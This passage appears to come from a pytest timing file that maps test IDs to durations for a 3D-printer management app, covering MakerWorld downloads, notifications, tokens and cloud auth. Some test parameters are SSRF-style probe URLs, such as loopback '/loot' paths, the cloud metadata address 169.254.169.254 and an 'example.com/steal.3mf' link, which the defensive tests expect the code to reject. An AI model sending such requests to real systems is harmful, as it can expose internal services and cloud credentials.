"unit/services/test_location_sensor_alert_provider_scope_2824.py::test_printer_sensor_alerts_are_unaffected_by_the_new_column": 0.07183071132749319, + "unit/services/test_location_sensor_alert_provider_scope_2824.py::test_provider_opted_into_location_alerts_receives_them": 0.07962442934513092, + "unit/services/test_log_health.py::test_aggregation_tracks_count_and_seen_range": 0.0011265017092227936, + "unit/services/test_log_health.py::test_clean_log_has_no_findings": 0.0013074306771159172, + "unit/services/test_log_health.py::test_database_locked_matches_inside_traceback": 0.0013035936281085014, + "unit/services/test_log_health.py::test_every_signature_id_is_unique": 0.0008987253531813622, + "unit/services/test_log_health.py::test_findings_sorted_layer8_then_environment": 0.0011472487822175026, + "unit/services/test_log_health.py::test_ftp_auth_rejected_is_detected": 0.001536669209599495, + "unit/services/test_log_health.py::test_log_unavailable_when_file_missing": 0.0010220874100923538, + "unit/services/test_log_health.py::test_logger_prefix_filters_unrelated_loggers": 0.0010865163058042526, + "unit/services/test_log_health.py::test_min_count_gates_low_frequency_signals": 0.0012300051748752594, + "unit/services/test_log_health.py::test_min_level_filters_below_threshold": 0.0011151498183608055, + "unit/services/test_log_health.py::test_sample_is_sanitized": 0.0012618862092494965, + "unit/services/test_long_lived_tokens.py::test_create_rejects_blank_or_oversize_name": 0.17711013834923506, + "unit/services/test_long_lived_tokens.py::test_create_rejects_expiry_above_policy_cap": 0.17935115937143564, + "unit/services/test_long_lived_tokens.py::test_create_rejects_unsupported_scope": 0.18439719546586275, + "unit/services/test_long_lived_tokens.py::test_create_rejects_zero_or_negative_expiry": 0.19057124760001898, + "unit/services/test_long_lived_tokens.py::test_create_returns_plaintext_once_and_stores_hash": 0.1849130429327488, + "unit/services/test_long_lived_tokens.py::test_list_all_tokens_returns_every_active_token": 0.20055976882576942, + "unit/services/test_long_lived_tokens.py::test_list_user_tokens_returns_only_owners_active_tokens": 0.19738696236163378, + "unit/services/test_long_lived_tokens.py::test_revoke_is_idempotent": 0.18269308283925056, + "unit/services/test_long_lived_tokens.py::test_revoke_unknown_id_returns_false": 0.18008498288691044, + "unit/services/test_long_lived_tokens.py::test_verify_does_not_collide_across_users_with_same_prefix": 0.2025223784148693, + "unit/services/test_long_lived_tokens.py::test_verify_happy_path_returns_record_and_updates_last_used": 0.1946435822173953, + "unit/services/test_long_lived_tokens.py::test_verify_returns_none_for_expired_token": 0.18862552009522915, + "unit/services/test_long_lived_tokens.py::test_verify_returns_none_for_garbage_token": 0.18042649142444134, + "unit/services/test_long_lived_tokens.py::test_verify_returns_none_for_revoked_token": 0.18826951272785664, + "unit/services/test_long_lived_tokens.py::test_verify_returns_none_when_scope_mismatched": 0.1888941042125225, + "unit/services/test_loop_watchdog.py::test_heartbeat_interval_is_below_stall_threshold": 0.0013187825679779053, + "unit/services/test_loop_watchdog.py::test_rearm_failure_does_not_crash_the_watchdog": 0.0015712250024080276, + "unit/services/test_loop_watchdog.py::test_start_arms_the_stall_timer": 0.002382144331932068, + "unit/services/test_loop_watchdog.py::test_start_is_idempotent": 0.0016284110024571419, + "unit/services/test_loop_watchdog.py::test_stop_cancels_the_task_and_disarms": 0.0015393951907753944, + "unit/services/test_makerworld.py::TestApiBase::test_api_base_targets_bambulab_backend": 0.0008868230506777763, + "unit/services/test_makerworld.py::TestDownload3MF::test_cdn_url_uses_httpx_with_minimal_headers": 0.0018144100904464722, + "unit/services/test_makerworld.py::TestDownload3MF::test_exceeds_size_cap_raises": 0.07733975909650326, + "unit/services/test_makerworld.py::TestDownload3MF::test_happy_path_streams_bytes": 0.001803319901227951, + "unit/services/test_makerworld.py::TestDownload3MF::test_http_error_on_cdn_path_raises_unavailable": 0.00202979426831007, + "unit/services/test_makerworld.py::TestDownload3MF::test_rejects_non_allowed_hosts[http://127.0.0.1/loot]": 0.0015228241682052612, + "unit/services/test_makerworld.py::TestDownload3MF::test_rejects_non_allowed_hosts[http://internal.host/loot]": 0.001522451639175415, + "unit/services/test_makerworld.py::TestDownload3MF::test_rejects_non_allowed_hosts[https://169.254.169.254/meta]": 0.0015298761427402496, + "unit/services/test_makerworld.py::TestDownload3MF::test_rejects_non_allowed_hosts[https://example.com/steal.3mf]": 0.00155744981020689, + "unit/services/test_makerworld.py::TestDownload3MF::test_s3_host_delegates_to_urllib_path": 0.0016321782022714615, + "unit/services/test_makerworld.py::TestFetchThumbnail::test_does_not_follow_redirects": 0.016681496985256672, + "unit/services/test_makerworld.py::TestFetchThumbnail::test_happy_path_with_proper_image_content_type": 0.0017322860658168793, + "unit/services/test_makerworld.py::TestFetchThumbnail::test_infers_mime_from_extension_when_cdn_lies": 0.0017332471907138824, + "unit/services/test_makerworld.py::TestFetchThumbnail::test_refuses_when_no_extension_and_non_image_type": 0.0017134621739387512, + "unit/services/test_makerworld.py::TestFetchThumbnail::test_rejects_html_content_type_even_with_image_extension": 0.0019255401566624641, + "unit/services/test_makerworld.py::TestFetchThumbnail::test_rejects_loopback": 0.001675809733569622, + "unit/services/test_makerworld.py::TestFetchThumbnail::test_rejects_non_cdn_host": 0.002215382643043995, + "unit/services/test_makerworld.py::TestGetDesign::test_401_with_token_reports_expired_and_hides_upstream_text": 0.0020090360194444656, + "unit/services/test_makerworld.py::TestGetDesign::test_hits_bambulab_api_base": 0.0018385956063866615, + "unit/services/test_makerworld.py::TestGetDesign::test_maps_401_without_token_to_auth_error": 0.0017975075170397758, + "unit/services/test_makerworld.py::TestGetDesign::test_maps_403_to_forbidden_with_upstream_reason": 0.0017775222659111023, + "unit/services/test_makerworld.py::TestGetDesign::test_maps_404_to_not_found": 0.0017615724354982376, + "unit/services/test_makerworld.py::TestGetDesign::test_maps_5xx_to_unavailable": 0.0016694897785782814, + "unit/services/test_makerworld.py::TestGetDesign::test_maps_timeout_to_unavailable": 0.0015923259779810905, + "unit/services/test_makerworld.py::TestGetDesign::test_rejects_non_dict_json": 0.0017345817759633064, + "unit/services/test_makerworld.py::TestGetDesign::test_returns_decoded_json": 0.002474486827850342, + "unit/services/test_makerworld.py::TestGetDesign::test_sends_honest_bambuddy_user_agent": 0.0017772894352674484, + "unit/services/test_makerworld.py::TestGetDesign::test_transient_401_with_token_does_not_invalidate": 0.001833176240324974, + "unit/services/test_makerworld.py::TestGetProfileDownload::test_maps_401_to_auth_error": 0.0017362656071782112, + "unit/services/test_makerworld.py::TestGetProfileDownload::test_maps_403_to_forbidden": 0.0016880137845873833, + "unit/services/test_makerworld.py::TestGetProfileDownload::test_maps_404_to_not_found": 0.0016252249479293823, + "unit/services/test_makerworld.py::TestGetProfileDownload::test_maps_timeout_to_unavailable": 0.0015670368447899818, + "unit/services/test_makerworld.py::TestGetProfileDownload::test_rejects_non_dict_json": 0.001978878863155842, + "unit/services/test_makerworld.py::TestGetProfileDownload::test_requires_auth_token": 0.0015453854575753212, + "unit/services/test_makerworld.py::TestGetProfileDownload::test_returns_signed_manifest": 0.0019240044057369232, + "unit/services/test_makerworld.py::TestGetProfileDownload::test_sends_bearer_and_model_id_query": 0.0016757501289248466, + "unit/services/test_makerworld.py::TestParseUrl::test_accepts_scheme_omitted": 0.0009195534512400627, + "unit/services/test_makerworld.py::TestParseUrl::test_accepts_subdomain": 0.000903695821762085, + "unit/services/test_makerworld.py::TestParseUrl::test_extracts_profile_id_from_fragment": 0.0013306345790624619, + "unit/services/test_makerworld.py::TestParseUrl::test_rejects_empty": 0.0008886158466339111, + "unit/services/test_makerworld.py::TestParseUrl::test_rejects_malformed_url": 0.0009201737120747566, + "unit/services/test_makerworld.py::TestParseUrl::test_rejects_non_makerworld_host": 0.0009402930736541748, + "unit/services/test_makerworld.py::TestParseUrl::test_strips_locale_prefix_and_slug": 0.001127433031797409, + "unit/services/test_makerworld.py::TestS3UrllibDownload::test_network_error_mapped_to_unavailable": 0.006227422505617142, + "unit/services/test_makerworld.py::TestS3UrllibDownload::test_non_200_raises_unavailable": 0.018571028485894203, + "unit/services/test_makerworld.py::TestS3UrllibDownload::test_redirect_is_treated_as_error": 0.00605243444442749, + "unit/services/test_makerworld.py::TestS3UrllibDownload::test_returns_bytes_and_filename": 0.007150882855057716, + "unit/services/test_makerworld.py::TestS3UrllibDownload::test_size_cap_enforced": 0.08503252547234297, + "unit/services/test_mode_toggle_keeps_assignments_2812.py::TestCompletionNotifiesTheLostDebit::test_a_failure_here_never_fails_the_completed_print": 0.0014498289674520493, + "unit/services/test_mode_toggle_keeps_assignments_2812.py::TestCompletionNotifiesTheLostDebit::test_a_print_that_debited_everything_stays_quiet": 0.001388191245496273, + "unit/services/test_mode_toggle_keeps_assignments_2812.py::TestCompletionNotifiesTheLostDebit::test_a_skipped_debit_notifies_at_completion": 0.001894812099635601, + "unit/services/test_mode_toggle_keeps_assignments_2812.py::TestCostEstimateIgnoresTheInactiveModesTable::test_built_in_mode_still_reads_its_own_table": 0.0017938818782567978, + "unit/services/test_mode_toggle_keeps_assignments_2812.py::TestCostEstimateIgnoresTheInactiveModesTable::test_spoolman_mode_does_not_price_from_built_in_spools": 0.001978348009288311, + "unit/services/test_mode_toggle_keeps_assignments_2812.py::TestKProfileIgnoresTheInactiveModesTable::test_built_in_mode_does_not_read_the_spoolman_table": 0.0014030495658516884, + "unit/services/test_mode_toggle_keeps_assignments_2812.py::TestKProfileIgnoresTheInactiveModesTable::test_spoolman_mode_does_not_read_the_built_in_table": 0.0015459461137652397, + "unit/services/test_mqtt_smart_plug_subscribe.py::test_legacy_single_topic_falls_back_for_all_data_types": 0.0010956842452287674, + "unit/services/test_mqtt_smart_plug_subscribe.py::test_no_topics_configured_skips_subscribe": 0.001013440079987049, + "unit/services/test_mqtt_smart_plug_subscribe.py::test_per_type_multipliers_override_legacy": 0.0010835416615009308, + "unit/services/test_mqtt_smart_plug_subscribe.py::test_per_type_topics_beat_legacy_topic_when_both_set": 0.0014284979552030563, + "unit/services/test_mqtt_smart_plug_subscribe.py::test_per_type_topics_restored_without_legacy_mqtt_topic": 0.0013482188805937767, + "unit/services/test_mqtt_smart_plug_subscribe.py::test_returns_unique_topic_list_when_same_topic_used_for_multiple_types": 0.0010827891528606415, + "unit/services/test_network_utils.py::test_linux_does_not_use_psutil": 0.0016856072470545769, + "unit/services/test_network_utils.py::test_macos_routes_to_psutil": 0.001124415546655655, + "unit/services/test_network_utils.py::test_psutil_path_filters_and_returns_bindable_ips": 0.0011270325630903244, + "unit/services/test_network_utils.py::test_windows_routes_to_psutil": 0.0010701147839426994, + "unit/services/test_notification_service.py::TestAIFailureDetectionNotifications::test_dispatch_uses_ai_failure_detection_event_not_printer_error": 0.002033451572060585, + "unit/services/test_notification_service.py::TestAIFailureDetectionNotifications::test_skipped_when_only_printer_error_is_enabled": 0.0016560349613428116, + "unit/services/test_notification_service.py::TestAIFailureDetectionNotifications::test_task_name_fallback_when_unknown": 0.003184889443218708, + "unit/services/test_notification_service.py::TestAIFailureDetectionNotifications::test_variables_include_task_name_confidence_action": 0.0023098401725292206, + "unit/services/test_notification_service.py::TestBarkProvider::test_send_bark_error_in_200_body": 0.0017090439796447754, + "unit/services/test_notification_service.py::TestBarkProvider::test_send_bark_http_error": 0.001530318520963192, + "unit/services/test_notification_service.py::TestBarkProvider::test_send_bark_missing_device_key": 0.001478089950978756, + "unit/services/test_notification_service.py::TestBarkProvider::test_send_bark_options_and_custom_server": 0.0019054915755987167, + "unit/services/test_notification_service.py::TestBarkProvider::test_send_bark_success_default_server": 0.001591443084180355, + "unit/services/test_notification_service.py::TestBarkProvider::test_send_to_provider_dispatches_bark": 0.0016584275290369987, + "unit/services/test_notification_service.py::TestBedCooledNotifications::test_on_bed_cooled_handles_none_filename": 0.001885613426566124, + "unit/services/test_notification_service.py::TestBedCooledNotifications::test_on_bed_cooled_includes_correct_variables": 0.003080974332988262, + "unit/services/test_notification_service.py::TestBedCooledNotifications::test_on_bed_cooled_sends_notification": 0.001843595877289772, + "unit/services/test_notification_service.py::TestBedCooledNotifications::test_on_bed_cooled_skipped_when_no_providers": 0.0016123009845614433, + "unit/services/test_notification_service.py::TestDigestModeAlwaysSendsImmediately::test_notification_sends_immediately_even_with_digest_enabled": 0.001842482015490532, + "unit/services/test_notification_service.py::TestDigestModeAlwaysSendsImmediately::test_notification_sends_without_digest_queue_when_disabled": 0.0019920552149415016, + "unit/services/test_notification_service.py::TestDiscordProvider::test_discord_accepts_discord_com_url": 0.0015234164893627167, + "unit/services/test_notification_service.py::TestDiscordProvider::test_discord_accepts_legacy_discordapp_com_url": 0.0015322724357247353, + "unit/services/test_notification_service.py::TestDiscordProvider::test_discord_rejects_empty_url": 0.001312078908085823, + "unit/services/test_notification_service.py::TestDiscordProvider::test_discord_rejects_non_discord_host": 0.0013118879869580269, + "unit/services/test_notification_service.py::TestEmailProvider::test_email_html_body_escapes_user_content": 0.0024443911388516426, + "unit/services/test_notification_service.py::TestEmailProvider::test_email_html_swaps_url_for_img_tag": 0.002431156113743782, + "unit/services/test_notification_service.py::TestEmailProvider::test_email_image_data_without_url_arg_stays_text_only": 0.002302464097738266, + "unit/services/test_notification_service.py::TestEmailProvider::test_email_image_without_template_reference_stays_text_only": 0.0024249954149127007, + "unit/services/test_notification_service.py::TestEmailProvider::test_email_inlines_when_template_uses_finish_photo_url": 0.0025952355936169624, + "unit/services/test_notification_service.py::TestEmailProvider::test_email_without_image_or_url_stays_text_only": 0.0023620761930942535, + "unit/services/test_notification_service.py::TestFirstLayerCompleteNotifications::test_on_first_layer_complete_includes_correct_variables": 0.0019007418304681778, + "unit/services/test_notification_service.py::TestFirstLayerCompleteNotifications::test_on_first_layer_complete_passes_image_data": 0.001871117390692234, + "unit/services/test_notification_service.py::TestFirstLayerCompleteNotifications::test_on_first_layer_complete_sends_notification": 0.0018809344619512558, + "unit/services/test_notification_service.py::TestFirstLayerCompleteNotifications::test_on_first_layer_complete_skipped_when_no_providers": 0.0018396778032183647, + "unit/services/test_notification_service.py::TestHomeAssistantProvider::test_send_homeassistant_auth_failure": 0.001722678542137146, + "unit/services/test_notification_service.py::TestHomeAssistantProvider::test_send_homeassistant_custom_data_keeps_nested_structures": 0.0017593083903193474, + "unit/services/test_notification_service.py::TestHomeAssistantProvider::test_send_homeassistant_custom_data_merged": 0.001809271052479744, + "unit/services/test_notification_service.py::TestHomeAssistantProvider::test_send_homeassistant_empty_config_accepted": 0.0016880929470062256, + "unit/services/test_notification_service.py::TestHomeAssistantProvider::test_send_homeassistant_env_fallback": 0.002582869492471218, + "unit/services/test_notification_service.py::TestHomeAssistantProvider::test_send_homeassistant_invalid_data_rejected": 0.0016641467809677124, + "unit/services/test_notification_service.py::TestHomeAssistantProvider::test_send_homeassistant_no_db_no_env": 0.0014193793758749962, + "unit/services/test_notification_service.py::TestHomeAssistantProvider::test_send_homeassistant_success": 0.0019555846229195595, + "unit/services/test_notification_service.py::TestHomeAssistantProvider::test_send_homeassistant_without_data_omits_key": 0.001895553432404995, + "unit/services/test_notification_service.py::TestHomeAssistantProvider::test_send_to_provider_dispatches_homeassistant": 0.0014101024717092514, + "unit/services/test_notification_service.py::TestNotificationProviderTypes::test_webhook_generic_format_includes_image": 0.0017312746495008469, + "unit/services/test_notification_service.py::TestNotificationProviderTypes::test_webhook_generic_format_no_image_when_none": 0.0015153493732213974, + "unit/services/test_notification_service.py::TestNotificationProviderTypes::test_webhook_handles_failure": 0.0017317254096269608, + "unit/services/test_notification_service.py::TestNotificationProviderTypes::test_webhook_provider_sends_request": 0.0019043674692511559, + "unit/services/test_notification_service.py::TestNotificationProviderTypes::test_webhook_slack_format_excludes_image": 0.0015155700966715813, + "unit/services/test_notification_service.py::TestNotificationProviderTypes::test_webhook_slack_format_sends_text_only": 0.0015636691823601723, + "unit/services/test_notification_service.py::TestNotificationService::test_ams_alarm_skipped_when_toggle_disabled": 0.0016400739550590515, + "unit/services/test_notification_service.py::TestNotificationService::test_billing_charge_failure_uses_provider_event": 0.004433157853782177, + "unit/services/test_notification_service.py::TestNotificationService::test_daily_digest_queues_notification": 0.0019053816795349121, + "unit/services/test_notification_service.py::TestNotificationService::test_disabled_provider_not_returned": 0.0015960708260536194, + "unit/services/test_notification_service.py::TestNotificationService::test_force_immediate_bypasses_digest": 0.0020073316991329193, + "unit/services/test_notification_service.py::TestNotificationService::test_is_in_quiet_hours_disabled": 0.0010664891451597214, + "unit/services/test_notification_service.py::TestNotificationService::test_is_in_quiet_hours_during_quiet_period": 0.0014774799346923828, + "unit/services/test_notification_service.py::TestNotificationService::test_is_in_quiet_hours_early_morning": 0.001248740591108799, + "unit/services/test_notification_service.py::TestNotificationService::test_is_in_quiet_hours_outside_quiet_period": 0.0012487908825278282, + "unit/services/test_notification_service.py::TestNotificationService::test_on_ams_humidity_high_sends_notification": 0.0018224874511361122, + "unit/services/test_notification_service.py::TestNotificationService::test_on_ams_temperature_high_sends_notification": 0.002008523792028427, + "unit/services/test_notification_service.py::TestNotificationService::test_on_print_complete_routes_aborted_status": 0.00191405788064003, + "unit/services/test_notification_service.py::TestNotificationService::test_on_print_complete_routes_completed_status": 0.0019189557060599327, + "unit/services/test_notification_service.py::TestNotificationService::test_on_print_complete_routes_failed_status": 0.0019284645095467567, + "unit/services/test_notification_service.py::TestNotificationService::test_on_print_complete_routes_stopped_status": 0.002138948068022728, + "unit/services/test_notification_service.py::TestNotificationService::test_on_print_start_sends_notification": 0.001956394873559475, + "unit/services/test_notification_service.py::TestNotificationService::test_on_print_start_skipped_when_no_providers": 0.0016354061663150787, + "unit/services/test_notification_service.py::TestNotificationService::test_provider_filtered_by_printer_id": 0.0015639914199709892, + "unit/services/test_notification_service.py::TestNotificationTemplates::test_template_handles_missing_variables": 0.0011997679248452187, + "unit/services/test_notification_service.py::TestNotificationTemplates::test_template_renders_variables": 0.001231888309121132, + "unit/services/test_notification_service.py::TestNotificationVariableFallbacks::test_duration_falls_back_to_slicer_estimate_when_actual_time_missing": 0.0020090145990252495, + "unit/services/test_notification_service.py::TestNotificationVariableFallbacks::test_duration_prefers_actual_time_seconds_over_slicer_estimate": 0.001816646195948124, + "unit/services/test_notification_service.py::TestNotificationVariableFallbacks::test_duration_unknown_when_both_time_fields_missing": 0.0017902050167322159, + "unit/services/test_notification_service.py::TestNotificationVariableFallbacks::test_filename_fallback_to_unknown": 0.001999196596443653, + "unit/services/test_notification_service.py::TestNotificationVariableFallbacks::test_format_duration_hours_and_minutes": 0.000940963625907898, + "unit/services/test_notification_service.py::TestNotificationVariableFallbacks::test_format_duration_minutes_only": 0.0009403228759765625, + "unit/services/test_notification_service.py::TestNotificationVariableFallbacks::test_format_duration_with_none_returns_unknown": 0.000951061025261879, + "unit/services/test_notification_service.py::TestNotificationVariableFallbacks::test_format_duration_with_valid_seconds": 0.0009818198159337044, + "unit/services/test_notification_service.py::TestNotificationVariableFallbacks::test_format_duration_with_zero": 0.0009370166808366776, + "unit/services/test_notification_service.py::TestNotificationVariableFallbacks::test_print_complete_fallback_values": 0.0016226200386881828, + "unit/services/test_notification_service.py::TestNotificationVariableFallbacks::test_print_complete_with_archive_data": 0.0015832176432013512, + "unit/services/test_notification_service.py::TestNotificationVariableFallbacks::test_print_complete_with_finish_photo_url": 0.0018078889697790146, + "unit/services/test_notification_service.py::TestNotificationVariableFallbacks::test_print_progress_remaining_time_fallback": 0.0017195232212543488, + "unit/services/test_notification_service.py::TestNotificationVariableFallbacks::test_print_start_archive_data_overrides_mqtt": 0.0019595641642808914, + "unit/services/test_notification_service.py::TestNotificationVariableFallbacks::test_print_start_estimated_time_fallback": 0.0021003885194659233, + "unit/services/test_notification_service.py::TestNotificationVariableFallbacks::test_print_start_eta_calculated_from_estimated_time": 0.0019021546468138695, + "unit/services/test_notification_service.py::TestNotificationVariableFallbacks::test_print_start_eta_respects_12h_format": 0.0019224528223276138, + "unit/services/test_notification_service.py::TestNotificationVariableFallbacks::test_print_start_eta_unknown_when_no_time": 0.002073918469250202, + "unit/services/test_notification_service.py::TestNotificationVariableFallbacks::test_print_start_falls_back_to_mqtt_when_no_archive": 0.0021157851442694664, + "unit/services/test_notification_service.py::TestNotificationVariableFallbacks::test_print_start_uses_archive_print_time_seconds": 0.001912614330649376, + "unit/services/test_notification_service.py::TestNtfyOutbound::test_notification_client_sets_honest_user_agent": 0.018719947896897793, + "unit/services/test_notification_service.py::TestNtfyOutbound::test_ntfy_cloudflare_cf_mitigated_header_alone_triggers": 0.0015636412426829338, + "unit/services/test_notification_service.py::TestNtfyOutbound::test_ntfy_cloudflare_challenge_returns_actionable_error": 0.0017492901533842087, + "unit/services/test_notification_service.py::TestNtfyOutbound::test_ntfy_normal_403_is_not_misread_as_a_cloudflare_challenge": 0.0021988125517964363, + "unit/services/test_notification_service.py::TestNtfyOutbound::test_ntfy_origin_error_through_cloudflare_is_not_misclassified": 0.0017283093184232712, + "unit/services/test_notification_service.py::TestNtfyPriority::test_priority_header_omitted_for_unmapped_event": 0.0015724068507552147, + "unit/services/test_notification_service.py::TestNtfyPriority::test_priority_header_omitted_when_event_type_missing": 0.001613374799489975, + "unit/services/test_notification_service.py::TestNtfyPriority::test_priority_header_omitted_when_no_priorities_set": 0.0015825871378183365, + "unit/services/test_notification_service.py::TestNtfyPriority::test_priority_header_set_for_mapped_event": 0.00176235381513834, + "unit/services/test_notification_service.py::TestNtfyPriority::test_priority_header_set_on_attachment_path": 0.001596151851117611, + "unit/services/test_notification_service.py::TestNtfyPriority::test_priority_out_of_range_is_ignored": 0.00337937381118536, + "unit/services/test_notification_service.py::TestPlateNotEmptyNotifications::test_on_plate_not_empty_includes_difference_percent": 0.0023160213604569435, + "unit/services/test_notification_service.py::TestPlateNotEmptyNotifications::test_on_plate_not_empty_sends_notification": 0.002163984812796116, + "unit/services/test_notification_service.py::TestPlateNotEmptyNotifications::test_on_plate_not_empty_skipped_when_disabled": 0.001698785461485386, + "unit/services/test_notification_service.py::TestPrinterErrorNotifications::test_on_printer_error_fallback_when_no_detail": 0.0018212739378213882, + "unit/services/test_notification_service.py::TestPrinterErrorNotifications::test_on_printer_error_includes_error_detail": 0.0018138717859983444, + "unit/services/test_notification_service.py::TestPrinterErrorNotifications::test_on_printer_error_sends_notification": 0.0018258728086948395, + "unit/services/test_notification_service.py::TestPrinterErrorNotifications::test_on_printer_error_skipped_when_disabled": 0.0018847128376364708, + "unit/services/test_notification_write_lock.py::test_connect_timeout_stays_under_the_sqlite_busy_timeout": 0.007098173722624779, + "unit/services/test_notification_write_lock.py::test_provider_lookup_does_not_flush_the_callers_pending_writes": 0.07006554305553436, + "unit/services/test_notification_write_lock.py::test_template_lookup_does_not_flush_the_callers_pending_writes": 0.07208272349089384, + "unit/services/test_obico_actions.py::test_notify_routes_to_on_ai_failure_detection": 0.0023176949471235275, + "unit/services/test_obico_actions.py::test_notify_swallows_notification_service_exceptions": 0.00203083548694849, + "unit/services/test_obico_actions.py::test_pause_action_still_pauses_and_notifies": 0.0026322640478610992, + "unit/services/test_orca_cloud.py::TestApiHeaders::test_api_headers_include_bearer_and_ua_no_apikey": 0.0013239309191703796, + "unit/services/test_orca_cloud.py::TestApiHeaders::test_api_headers_without_token_raises": 0.0013175709173083305, + "unit/services/test_orca_cloud.py::TestGetProfile::test_not_found_raises": 0.0018454380333423615, + "unit/services/test_orca_cloud.py::TestGetProfile::test_returns_matching_profile_with_content": 0.0017852745950222015, + "unit/services/test_orca_cloud.py::TestIntrospect::test_401_raises_auth_error": 0.0022039618343114853, + "unit/services/test_orca_cloud.py::TestIntrospect::test_returns_record": 0.0018787309527397156, + "unit/services/test_orca_cloud.py::TestIsAuthenticated::test_no_expiry_means_not_authenticated": 0.0016440125182271004, + "unit/services/test_orca_cloud.py::TestIsAuthenticated::test_no_token_means_not_authenticated": 0.0012900466099381447, + "unit/services/test_orca_cloud.py::TestIsAuthenticated::test_with_comfortable_expiry_is_authenticated": 0.0013514431193470955, + "unit/services/test_orca_cloud.py::TestIsAuthenticated::test_within_refresh_leeway_is_not_authenticated": 0.0013979393988847733, + "unit/services/test_orca_cloud.py::TestListProfiles::test_401_raises_auth_error": 0.0019342051818966866, + "unit/services/test_orca_cloud.py::TestListProfiles::test_410_cursor_too_old_raises": 0.0025568315759301186, + "unit/services/test_orca_cloud.py::TestListProfiles::test_bare_list_response_tolerated": 0.0018176576122641563, + "unit/services/test_orca_cloud.py::TestListProfiles::test_pull_hits_external_path_without_cursor": 0.001949532888829708, + "unit/services/test_orca_cloud.py::TestListProfiles::test_pull_response_upserts_extracted": 0.002048810012638569, + "unit/services/test_orca_cloud.py::TestPollToken::test_network_error_wraps": 0.0016818828880786896, + "unit/services/test_orca_cloud.py::TestPollToken::test_rfc_error_codes_map_to_statuses[access_denied-access_denied]": 0.0019110627472400665, + "unit/services/test_orca_cloud.py::TestPollToken::test_rfc_error_codes_map_to_statuses[authorization_pending-authorization_pending]": 0.0019321022555232048, + "unit/services/test_orca_cloud.py::TestPollToken::test_rfc_error_codes_map_to_statuses[expired_token-expired_token]": 0.0019054021686315536, + "unit/services/test_orca_cloud.py::TestPollToken::test_rfc_error_codes_map_to_statuses[invalid_grant-expired_token]": 0.0018961355090141296, + "unit/services/test_orca_cloud.py::TestPollToken::test_rfc_error_codes_map_to_statuses[slow_down-slow_down]": 0.0019217310473322868, + "unit/services/test_orca_cloud.py::TestPollToken::test_sends_device_code_grant_and_client_id": 0.0018651261925697327, + "unit/services/test_orca_cloud.py::TestPollToken::test_success_applies_tokens_and_returns_complete": 0.0021747667342424393, + "unit/services/test_orca_cloud.py::TestPollToken::test_unknown_error_raises": 0.002055652439594269, + "unit/services/test_orca_cloud.py::TestRefresh::test_no_refresh_token_raises_auth_error": 0.001540367491543293, + "unit/services/test_orca_cloud.py::TestRefresh::test_rejected_refresh_clears_tokens": 0.0018367227166891098, + "unit/services/test_orca_cloud.py::TestRefresh::test_rotates_refresh_token": 0.0018194802105426788, + "unit/services/test_orca_cloud.py::TestRefresh::test_sends_refresh_grant_and_client_id": 0.0018078377470374107, + "unit/services/test_orca_cloud.py::TestRequestDeviceCode::test_forwards_instance_fields_when_given": 0.0020592976361513138, + "unit/services/test_orca_cloud.py::TestRequestDeviceCode::test_invalid_client_raises_auth_error": 0.002051425166428089, + "unit/services/test_orca_cloud.py::TestRequestDeviceCode::test_network_error_wraps": 0.0017651189118623734, + "unit/services/test_orca_cloud.py::TestRequestDeviceCode::test_sends_client_id_scope_and_user_agent": 0.002082773484289646, + "unit/services/test_orca_cloud.py::TestRequestDeviceCode::test_success_returns_device_code_payload": 0.002200094051659107, + "unit/services/test_p2s_accessory_fans.py::TestExhaustFanLabelModels::test_other_enclosed_models_keep_chamber_label": 0.0009253136813640594, + "unit/services/test_p2s_accessory_fans.py::TestExhaustFanLabelModels::test_p2s_and_x2d_use_exhaust_label": 0.000937165692448616, + "unit/services/test_p2s_accessory_fans.py::TestExhaustFanLabelModels::test_unknown_or_missing_model_defaults_to_chamber": 0.0009180810302495956, + "unit/services/test_p2s_accessory_fans.py::TestExhaustFanPresence::test_absent_when_part_3_missing": 0.0009804069995880127, + "unit/services/test_p2s_accessory_fans.py::TestExhaustFanPresence::test_base_p2s_only_part_cooling_and_aux": 0.0009749457240104675, + "unit/services/test_p2s_accessory_fans.py::TestExhaustFanPresence::test_defaults_to_false": 0.0009040143340826035, + "unit/services/test_p2s_accessory_fans.py::TestExhaustFanPresence::test_diff_push_without_device_preserves_value": 0.0010009855031967163, + "unit/services/test_p2s_accessory_fans.py::TestExhaustFanPresence::test_present_when_part_3_reported": 0.0009739352390170097, + "unit/services/test_p2s_accessory_fans.py::TestExhaustLabelModelListsAgree::test_every_backend_display_name_is_handled_by_the_frontend": 0.0012749899178743362, + "unit/services/test_p2s_accessory_fans.py::TestExhaustLabelModelListsAgree::test_frontend_list_is_the_display_name_subset_of_the_backend_list": 0.002023814246058464, + "unit/services/test_p2s_accessory_fans.py::TestLeftAuxFanCommand::test_existing_fan_indexes_still_accepted": 0.001537400297820568, + "unit/services/test_p2s_accessory_fans.py::TestLeftAuxFanCommand::test_invalid_fan_index_rejected": 0.0011687809601426125, + "unit/services/test_p2s_accessory_fans.py::TestLeftAuxFanCommand::test_set_fan_speed_10_sends_m106_p10": 0.000881340354681015, + "unit/services/test_p2s_accessory_fans.py::TestLeftAuxFanCommand::test_set_left_aux_fan_helper": 0.0008741188794374466, + "unit/services/test_p2s_accessory_fans.py::TestLeftAuxFanCommand::test_speed_clamped_to_255": 0.0010831691324710846, + "unit/services/test_p2s_accessory_fans.py::TestLeftAuxFanParsing::test_defaults_to_none": 0.0009607495740056038, + "unit/services/test_p2s_accessory_fans.py::TestLeftAuxFanParsing::test_diff_push_without_device_preserves_value": 0.0010368525981903076, + "unit/services/test_p2s_accessory_fans.py::TestLeftAuxFanParsing::test_flat_fan_fields_unaffected": 0.0011865757405757904, + "unit/services/test_p2s_accessory_fans.py::TestLeftAuxFanParsing::test_malformed_part_entries_ignored": 0.0011225230991840363, + "unit/services/test_p2s_accessory_fans.py::TestLeftAuxFanParsing::test_packed_state_decodes_from_low_8_bits": 0.001045089215040207, + "unit/services/test_p2s_accessory_fans.py::TestLeftAuxFanParsing::test_parses_left_aux_off": 0.0015493044629693031, + "unit/services/test_p2s_accessory_fans.py::TestLeftAuxFanParsing::test_parses_left_aux_running": 0.001029721461236477, + "unit/services/test_p2s_accessory_fans.py::TestLeftAuxFanParsing::test_parts_without_left_aux_reports_none": 0.0010559987276792526, + "unit/services/test_p2s_accessory_fans.py::TestLeftAuxFanParsing::test_raw_id_is_bit_unpacked": 0.0010534049943089485, + "unit/services/test_p2s_accessory_fans.py::TestLeftAuxFanParsing::test_state_clamped_to_0_100": 0.001035931520164013, + "unit/services/test_p2s_accessory_fans.py::TestLeftAuxFanParsing::test_unpacked_state_is_unaffected_by_the_mask": 0.0010681003332138062, + 